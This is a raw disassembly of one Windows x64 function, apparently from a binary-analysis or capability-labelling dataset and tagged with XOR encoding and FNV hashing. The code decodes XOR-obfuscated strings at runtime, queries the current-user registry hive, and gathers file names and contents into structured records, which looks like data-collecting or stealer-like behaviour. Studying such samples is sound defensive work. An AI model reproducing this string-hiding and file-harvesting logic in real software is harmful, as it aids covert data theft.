Function at 0x140037860
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rax, qword [0x14012ac00]
xor rax, rsp
mov qword [rbp + 0x320], rax
mov dword [rsp + 0x30], 1
movabs rax, 0x309749096e54a96c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x70], rax
movabs r14, 0xb85a5c59849e164
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x78], rax
movabs rbx, 0x309749640f31dd3f
mov qword [rsp + 0x20], rbx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d8], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x190]
call fcn.140030060
nop
movabs rax, 0x75c508335b77926c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xa0], rax
movabs rax, 0x58d9c0b3f428b738
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xa8], rax
movabs rax, 0x67cbdb1a8cab6425
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xb0], rax
movabs rcx, 0x5689f27ba26f4916
mov qword [rsp + 0x20], rcx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xb8], rax
mov qword [rsp + 0x20], rbx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x300], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x308], rax
movabs rax, 0x67cbdb1ae1ca0151
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x310], rax
mov qword [rsp + 0x20], rcx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x318], rax
movdqa xmm0, xmmword [rbp + 0x300]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0x310]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x210]
call fcn.140030060
nop
movabs rax, 0x44f619096e54a96c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x70], rax
movabs rax, 0xb85a5c59849e10c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x78], rax
mov qword [rsp + 0x20], rbx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d8], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x1f0]
call fcn.140030060
nop
lea r9, [rbp + 0x1f0]
lea r8, [rbp + 0x210]
mov rdx, 0xffffffff80000001
lea rcx, [rbp + 0x28]
call fcn.14007e8b0
nop
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.140042300
nop
lea rcx, [rbp + 0x28]
call fcn.14003fb80
xor r12d, r12d
cmp qword [rbp + 0x180], r12
jne 0x140037aef
lea rcx, [rbp + 0x170]
call fcn.14002e660
test al, al
jne 0x140037aef
movdqa xmm0, xmmword [0x140112f80]
jmp 0x140038da2
movabs rax, 0x309749646157ae4c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x70], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x78], rax
mov qword [rsp + 0x20], rbx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d8], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x70], xmm0
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x1d0]
call fcn.140030060
nop
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0xd0]
call fcn.14002e370
nop
lea rcx, [rbp + 0x90]
call fcn.14002e6f0
lea rax, [rbp + 0x2d0]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x2d0]
call fcn.140030e80
nop
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.14002e4d0
nop
lea rcx, [rbp + 0x80]
call fcn.14002e6f0
lea rax, [rbp + 0x2d0]
mov qword [rsp + 0x38], rax
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x2d0]
call fcn.140030e80
nop
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.14002e5b0
nop
mov rax, qword [rbp + 0x90]
cmp rax, qword [rbp + 0x80]
je 0x140037e0c
nop dword [rax]
lea rdi, [rax + 0x20]
lea rdx, [rbp + 0x2e0]
mov rcx, rdi
call fcn.14002d0f0
nop
lea rdx, [rbp - 0x78]
mov rcx, rax
call fcn.14002cf80
mov rdx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], r12
mov r8d, 4
cmp qword [rax + 0x10], r8
cmovb r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x140037c54
mov rdx, qword [rax]
lea rcx, [rbp + 0xa0]
call fcn.1400300a0
mov eax, dword [rsp + 0x30]
bts eax, 7
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0xa0]
call fcn.140042360
movzx ebx, al
and dword [rsp + 0x30], 0xffffff7f
lea rcx, [rbp + 0xa0]
call fcn.14003fb80
nop
lea rcx, [rbp - 0x78]
call fcn.14003fb80
nop
lea rcx, [rbp + 0x2e0]
call fcn.14002d650
test bl, bl
je 0x140037dec
mov rdx, rdi
lea rcx, [rbp + 0x110]
call fcn.140077400
nop
cmp byte [rbp + 0x130], 0
je 0x140037de0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x2d0], xmm0
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x70]
call fcn.14003eda0
nop
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x68]
mov rcx, rdi
call fcn.14002d0f0
nop
lea rdx, [rbp + 0x300]
mov rcx, rax
call fcn.14002cf80
nop
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140042430
mov rbx, rax
lea rdx, str.filename
lea rcx, [rbp + 0x70]
call fcn.1400423a0
mov rcx, rax
mov rdx, rbx
call fcn.14003ed40
nop
lea rcx, [rbp + 0x300]
call fcn.14003fb80
nop
lea rcx, [rsp + 0x68]
call fcn.14002d650
lea rax, [rsp + 0x48]
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0x110]
call fcn.14003f780
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140042400
mov rbx, rax
lea rdx, str.content
lea rcx, [rbp + 0x70]
call fcn.1400423a0
mov rcx, rax
mov rdx, rbx
call fcn.14003ed40
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0xf0]
call fcn.14003fc70
nop
mov rdx, rax
lea rcx, [0x14012b1b0]
call fcn.14003ec00
lea rdx, [rbp + 0x70]
mov rcx, rax
call fcn.14003eb20
nop
lea rcx, [rbp + 0x70]
call fcn.14003ed20
nop
lea rcx, [rbp + 0x110]
call fcn.140030eb0
lea rcx, [rbp + 0x90]
call fcn.14002e3c0
mov rax, qword [rbp + 0x90]
cmp rax, qword [rbp + 0x80]
jne 0x140037c00
mov rsi, 0xffffffffffffffff
mov rbx, qword [rbp + 0x88]
test rbx, rbx
je 0x140037e49
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140037e49
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140037e49
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
mov rbx, qword [rbp + 0x98]
test rbx, rbx
je 0x140037e7f
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140037e7f
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140037e7f
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
mov rbx, qword [rbp + 0xd8]
test rbx, rbx
je 0x140037eb4
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140037eb4
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140037eb4
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
lea rax, [rbp - 0x78]
mov qword [rsp + 0x38], rax
lea rax, str.config
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 0x2d8], 6
movaps xmm0, xmmword [rbp + 0x2d0]
movdqa xmmword [rbp + 0x2d0], xmm0
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp - 0x78]
call fcn.14004bfc0
mov eax, dword [rsp + 0x30]
bts eax, 8
mov dword [rsp + 0x30], eax
and dword [rsp + 0x30], 0xfffffeff
lea r8, [rbp - 0x78]
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x1b0]
call fcn.14002d420
nop
lea rcx, [rbp - 0x78]
call fcn.14002d650
lea rcx, [rbp + 0x150]
call fcn.14003fd90
nop
lea rcx, [rbp + 0x1b0]
call fcn.14002e660
test al, al
je 0x140038392
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x2d0]
call fcn.14002e370
nop
lea rcx, [rbp + 0x80]
call fcn.14002e6f0
lea rax, [rbp + 0x70]
mov qword [rsp + 0x38], rax
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x70]
call fcn.140030e80
nop
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.14002e4d0
nop
lea rcx, [rbp + 0xd0]
call fcn.14002e6f0
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0xf0]
call fcn.140030e80
nop
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.14002e5b0
nop
mov rax, qword [rbp + 0x80]
cmp rax, qword [rbp + 0xd0]
je 0x1400382f1
movabs r15, 0x30fe49030f5edd53
movabs r13, 0xbe0a5b6983ce10a
nop dword [rax]
lea rdi, [rax + 0x20]
mov rdx, rdi
lea rcx, [rbp + 0x90]
call fcn.14002e700
movsd xmm0, qword [rax]
movsd qword [rsp + 0x58], xmm0
mov edx, dword [rax + 8]
mov ecx, dword [rsp + 0x58]
test edx, edx
je 0x140038036
lea eax, [rcx - 1]
test eax, 0xfffffff7
jne 0x140038f44
cmp ecx, 3
je 0x1400382d1
mov rdx, rdi
lea rcx, [rbp + 0x110]
call fcn.140077400
nop
cmp byte [rbp + 0x130], 0
je 0x1400382c5
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x70]
call fcn.14003eda0
nop
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rax
lea rdx, [rbp - 0x18]
mov rcx, rdi
call fcn.14002d0f0
nop
lea rdx, [rbp + 8]
mov rcx, rax
call fcn.14002cf80
nop
mov rdx, rax
lea rcx, [rsp + 0x68]
call fcn.140042430
mov rbx, rax
lea rdx, str.filename
lea rcx, [rbp + 0x70]
call fcn.1400423a0
mov rcx, rax
mov rdx, rbx
call fcn.14003ed40
nop
lea rcx, [rbp + 8]
call fcn.14003fb80
nop
lea rcx, [rbp - 0x18]
call fcn.14002d650
lea rax, [rbp + 0x300]
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0x110]
call fcn.14003f780
mov rdx, rax
lea rcx, [rbp + 0x300]
call fcn.140042400
mov rbx, rax
lea rdx, str.content
lea rcx, [rbp + 0x70]
call fcn.1400423a0
mov rcx, rax
mov rdx, rbx
call fcn.14003ed40
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp + 0x2e0]
call fcn.14003fc70
nop
mov rdx, rax
lea rcx, [0x14012b1b0]
call fcn.14003ec00
lea rdx, [rbp + 0x70]
mov rcx, rax
call fcn.14003eb20
mov qword [rsp + 0x20], r15
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xa0], rax
mov qword [rsp + 0x20], r13
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xa8], rax
movabs rax, 0x67bddb34e1b90123
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xb0], rax
movabs rax, 0x5689f27ba2094972
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xb8], rax
movabs rax, 0x309749640f31dd3f
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2e0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2e8], rax
movabs rax, 0x67cbdb1ae1ca0151
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2f0], rax
movabs rax, 0x5689f27ba26f4916
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2f8], rax
movdqa xmm0, xmmword [rbp + 0x2e0]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0x2f0]
xorps xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0xb0], xmm1
lea rdx, [rbp + 0x48]
mov rcx, rdi
call fcn.14002d0f0
nop
lea rdx, [rbp - 0x38]
mov rcx, rax
call fcn.14002d0b0
nop
lea rdx, [rbp + 0xa0]
mov rcx, rax
call fcn.140043200
movzx ebx, al
lea rcx, [rbp - 0x38]
call fcn.14003f960
nop
lea rcx, [rbp + 0x48]
call fcn.14002d650
test bl, bl
je 0x1400382bb
lea rcx, [rbp + 0x110]
call fcn.14003f780
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.140043250
nop
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.14003fbe0
nop
lea rcx, [rbp - 0x58]
call fcn.14003fb80
nop
lea rcx, [rbp + 0x70]
call fcn.14003ed20
nop
lea rcx, [rbp + 0x110]
call fcn.140030f50
lea rcx, [rbp + 0x80]
call fcn.14002e3c0
mov rax, qword [rbp + 0x80]
cmp rax, qword [rbp + 0xd0]
jne 0x140038000
mov rbx, qword [rbp + 0xd8]
test rbx, rbx
je 0x140038327
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140038327
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140038327
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
mov rbx, qword [rbp + 0x88]
test rbx, rbx
je 0x14003835d
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14003835d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14003835d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
mov rbx, qword [rbp + 0x2d8]
test rbx, rbx
je 0x140038392
mov eax, esi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140038392
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, esi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140038392
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
cmp qword [rbp + 0x160], 0
je 0x140038c92
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rax
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
mov word [rsp + 0x34], 1
mov byte [rsp + 0x36], al
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
add r8, rdx
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0xf
cmova rdx, qword [rbp + 0x150]
lea r9, [rsp + 0x34]
lea rcx, [rbp + 0x230]
call fcn.140043400
nop
lea rcx, [rbp + 0x230]
cmp qword [rbp + 0x248], 0xf
cmova rcx, qword [rbp + 0x230]
mov r8, qword [rbp + 0x240]
cmp r8, 5
jne 0x140038c78
lea rdx, str.users
call fcn.1400bd5e0
test eax, eax
jne 0x140038c78
mov rdi, qword [rbp + 0x298]
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x1400387a6
movabs r13, 0x100000001b3
movabs rcx, 0xb85a5c5982c8c05
movabs rax, 0x7ee327116052be7e
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x80], rax
mov qword [rsp + 0x20], rcx
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x88], rax
movabs rax, 0x309749640f31dd3f
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x2d8], rax
movdqa xmm0, xmmword [rbp + 0x2d0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], r12
lea rax, [rbp + 0x80]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140038510
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0xd0]
call fcn.1400300a0
nop
mov r14, qword [rbx + 0x30]
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 0xf
cmova rdx, qword [rbp + 0xd0]
movabs r9, 0xcbf29ce484222325
mov rcx, r12
mov r8, qword [rbp + 0xe0]
test r8, r8
je 0x140038575
movzx eax, byte [rcx + rdx]
xor r9, rax
imul r9, r13
inc rcx
cmp rcx, r8
jb 0x140038562
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x300]
lea rcx, [r14 + 0x20]
call fcn.140048d80
cmp qword [rax + 8], 0
je 0x140038736
lea r8, [rbp + 0xd0]
lea rdx, [rsp + 0x68]
lea rcx, [r14 + 0x20]
call fcn.140043c30
mov rdx, qword [rax]
add rdx, 0x30
lea rcx, [rbp + 0x110]
call fcn.14003fc70
nop
lea rdx, [rbx + 0x10]
lea rcx, [rbp + 0x130]
call fcn.14003fc70
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, qword [rbp + 0x100]
je 0x14003866e
mov qword [rsp + 0x48], rdx
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r12
mov qword [rdx + 0x18], r12
movups xmm0, xmmword [rbp + 0x110]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rbp + 0x120]
movups xmmword [rdx + 0x10], xmm1
mov qword [rbp + 0x120], r12
mov qword [rbp + 0x128], 0xf
mov byte [rbp + 0x110], 0
xorps xmm0, xmm0
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], r12
mov qword [rdx + 0x38], r12
movups xmm0, xmmword [rbp + 0x130]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rbp + 0x140]
movups xmmword [rdx + 0x30], xmm1
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x148], 0xf
mov byte [rbp + 0x130], 0
add qword [rbp + 0xf8], 0x40
jmp 0x140038682
lea r8, [rbp + 0x110]
lea rcx, [rbp + 0xf0]
call fcn.140049120
nop
mov rdx, qword [rbp + 0x148]
cmp rdx, 0xf
jbe 0x1400386c3
inc rdx
mov rcx, qword [rbp + 0x130]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400386be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038f5a
call fcn.1400a9a50
mov qword [rbp + 0x140], r12
mov qword [rbp + 0x148], 0xf
mov byte [rbp + 0x130], 0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0xf
jbe 0x14003871d
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038718
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038f60
call fcn.1400a9a50
mov qword [rbp + 0x120], r12
mov qword [rbp + 0x128], 0xf
mov byte [rbp + 0x110], 0
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0xf
jbe 0x140038777
inc rdx
mov rcx, qword [rbp + 0xd0]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140038772
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038f66
call fcn.1400a9a50
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], 0
mov rbx, qword [rbx]
movabs r14, 0xb85a5c59849e164
cmp rbx, rdi
jne 0x140038473
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0xa0]
call fcn.140036050
nop
cmp qword [rbp + 0xb0], 0
je 0x140038b0f
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x300], xmm0
movdqa xmmword [rbp + 0x300], xmm0
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x70]
call fcn.140040920
or dword [rsp + 0x30], 0x10
lea rax, [rbp + 0x90]
mov qword [rsp + 0x48], rax
movabs rax, 0x44b93a0a6a5ab26b
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x80], rax
movabs rax, 0xb85a5c59849951c
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0x88], rax
movabs rax, 0x309749640f31dd3f
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xd0], rax
mov qword [rsp + 0x20], r14
mov rax, qword [rsp + 0x20]
mov qword [rbp + 0xd8], rax
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x80], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
xor eax, eax
mov qword [rbp + 0x98], rax
movzx edx, byte [rbp + 0x90]
lea rcx, [rbp + 0x98]
call fcn.140040e40
mov byte [rbp + 0x90], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d0], xmm0
mov ecx, 0x20
call fcn.1400a9b78
mov rbx, rax
lea rax, [rbp + 0xc0]
mov qword [rbp + 0x2d0], rax
mov qword [rbp + 0x2d8], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
lea rax, [rbp + 0x80]
inc rsi
cmp byte [rax + rsi], 0
jne 0x1400388e3
mov r8, rsi
lea rdx, [rbp + 0x80]
mov rcx, rbx
call fcn.1400300a0
mov qword [rbp + 0x2d8], r12
mov qword [rbp + 0x98], rbx
lea rax, [rbp + 0x90]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], r12
mov r8d, 8
lea rdx, str.filename
lea rcx, [rbp + 0x2e0]
call fcn.1400300a0
nop
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x70]
call fcn.14003ec00
nop
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x90]
mov byte [rax], cl
mov byte [rbp + 0x90], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbp + 0x98]
mov qword [rax + 8], rdx
mov qword [rbp + 0x98], rcx
movzx edx, byte [rbp + 0x90]
lea rcx, [rbp + 0x98]
call fcn.140040e40
lea rax, [rbp + 0x300]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rdx, qword [rbp + 0xa0]
mov r8, qword [rbp + 0xb0]
lea rcx, [rsp + 0x68]
call fcn.140042160
mov edi, dword [rsp + 0x30]
or edi, 0x20
mov dword [rsp + 0x30], edi
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x300]
call fcn.140042430
mov rbx, rax
mov qword [rsp + 0x20], rax
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
mov qword [rbp + 0x2f0], r12
mov qword [rbp + 0x2f8], r12
mov r8d, 7
lea rdx, str.content
lea rcx, [rbp + 0x2e0]
call fcn.1400300a0
nop
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x70]
call fcn.14003ec00
nop
movzx edx, byte [rax]
movzx ecx, byte [rbx]
mov byte [rax], cl
mov byte [rbx], dl
mov rcx, qword [rax + 8]
mov rdx, qword [rbx + 8]
mov qword [rax + 8], rdx
mov qword [rbx + 8], rcx
movzx edx, byte [rbx]
lea rcx, [rbx + 8]
call fcn.140040e40
and edi, 0xffffffdf
mov dword [rsp + 0x30], edi
mov rdx, qword [rbp - 0x80]
cmp rdx, 0xf
jbe 0x140038ab2
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038aad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038f54
call fcn.1400a9a50
movdqa xmm0, xmmword [0x140112f80]
movdqu xmmword [rsp + 0x78], xmm0
mov byte [rsp + 0x68], 0
lea rax, [rbp - 0x58]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x190]
lea rcx, [rbp - 0x58]
call fcn.14003fc70
nop
mov rdx, rax
lea rcx, [0x14012b1b0]
call fcn.14003ec00
lea rdx, [rbp + 0x70]
mov rcx, rax
call fcn.14003eb20
and edi, 0xffffffef
mov dword [rsp + 0x30], edi
movzx edx, byte [rbp + 0x70]
lea rcx, [rbp + 0x78]
call fcn.140040e40
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140038b50
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038b4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038f6c
call fcn.1400a9a50
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], 0
lea rax, [rbp + 0x290]
mov qword [rsp + 0x58], rax
lea rcx, [rbp + 0x290]
call fcn.1400377e0
nop
lea rax, [rbp + 0x250]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0x250]
call fcn.140037740
nop
mov rdx, qword [rbp + 0x248]
cmp rdx, 0xf
jbe 0x140038bdc
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038bd7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038f72
call fcn.1400a9a50
mov qword [rbp + 0x240], r12
mov qword [rbp + 0x248], 0xf
mov byte [rbp + 0x230], 0
mov rbx, qword [rbp + 0xf0]
test rbx, rbx
je 0x140038c92
mov rdi, qword [rbp + 0xf8]
cmp rbx, rdi
je 0x140038c29
mov rcx, rbx
call fcn.1400358f0
add rbx, 0x40
cmp rbx, rdi
jne 0x140038c11
mov rbx, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0x100]
sub rdx, rbx
and rdx, 0xffffffffffffffc0
mov rax, rbx
cmp rdx, 0x1000
jb 0x140038c5c
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038f78
mov rcx, rbx
call fcn.1400a9a50
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], r12
jmp 0x140038c92
lea rcx, [rbp + 0x230]
call fcn.140037690
nop
lea rcx, [rbp + 0xf0]
call fcn.14003e460
nop
mov rdx, qword [rbp + 0x168]
cmp rdx, 0xf
jbe 0x140038cd3
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140038cce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140038f7e
